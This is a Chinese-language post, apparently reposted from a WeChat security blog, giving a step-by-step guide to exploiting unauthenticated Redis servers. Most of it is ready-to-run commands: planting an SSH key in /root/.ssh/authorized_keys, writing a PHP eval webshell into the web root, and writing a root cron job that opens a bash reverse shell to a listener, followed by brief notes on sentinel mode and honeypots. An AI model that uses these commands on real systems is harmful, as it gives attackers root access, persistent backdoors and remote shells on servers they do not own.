ssh公钥免密登录
注:只用于linux(config get dir判断是否linux)
1、写好公钥
-e:开启转义,在公钥开头和末尾加一些换行,防止影响原本数据库。
(echo -e "nn"; cat /home/kali/.ssh/id_rsa.pub; echo -e "nn") > test.txt
2、将公钥通过管道符传给新的键值test
-x:redis从标准输入读取数据
cat test.txt | redis-cli -h host -x set test
3、设置持久化文件路径为ssh目录
config set dir /root/.ssh
4、设置文件名为默认公钥名,保存。
config set dbfilename "authorized_keys"
save
5、ssh公钥方式登陆
ssh -i id_rsa root@192.168.0.108
写webshell
注:需要网站目录且具有redis写权限,win和linux通用。
1、设置持久化路径为网站目录
config set dir /var/www/htm
2、设置文件名
config set dbfilename shell.php
3、设置键值为shell,依旧最好加一些回车换行,保存。
set xxx "rnrneval($_REQUEST['cmd']); rnrn"
save
计划任务写shell
注:只用于linux
1、设置键值为反弹命令
1 * * * * 1分钟、小时、日、月和星期几
* * * * * 默认也是一分钟
所以每一分钟会执行一次反弹shell
set test "nn*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1nn"
2、设置目录及文件名,保存。
注:/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,所以文件名得是root。
config set dir /var/spool/cron/
config set dbfilename root
save
其他定时任务目录
我们本机开启监听,静待一分钟。
nc -nvlp port
哨兵模式
在项目中碰到一个只能执行info命令却无法执行其他任意命令,看看咋回事。
通过info信息可以发现一些端倪,这个redis是哨兵模式。
啥叫哨兵模式?
官方回答:
redis 哨兵模式是一个自动地监控处理redis间故障节点转移工作的一个模式,准确来说,它其实是一个redis 服务端程序,只不过运行在特殊的模式下,不提供数据存储服务,只进行普通 redis节点监控管理。它会对自己监控的master机器执行info命令和一些独有的用来监控的命令,一般的redis读写命令均未初始化。
简而言之:
我们只能执行info命令查看机器信息,因为没有数据存储,即使存在未授权访问,我们也无法获取任何数据。
so这是一个超级水洞,而且哨兵模式常见于密罐,当然info信息也可能存在敏感信息,如密码、配置文件路径等。
小问题
可能你会发现ubuntu计划无法反弹shell
这是因为ubantu下使用/bin/dash执行脚本的问题,解决方式:将shell环境修改为bash
原文始发于微信公众号(rainy的安全小屋):redis未授权访问利用详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论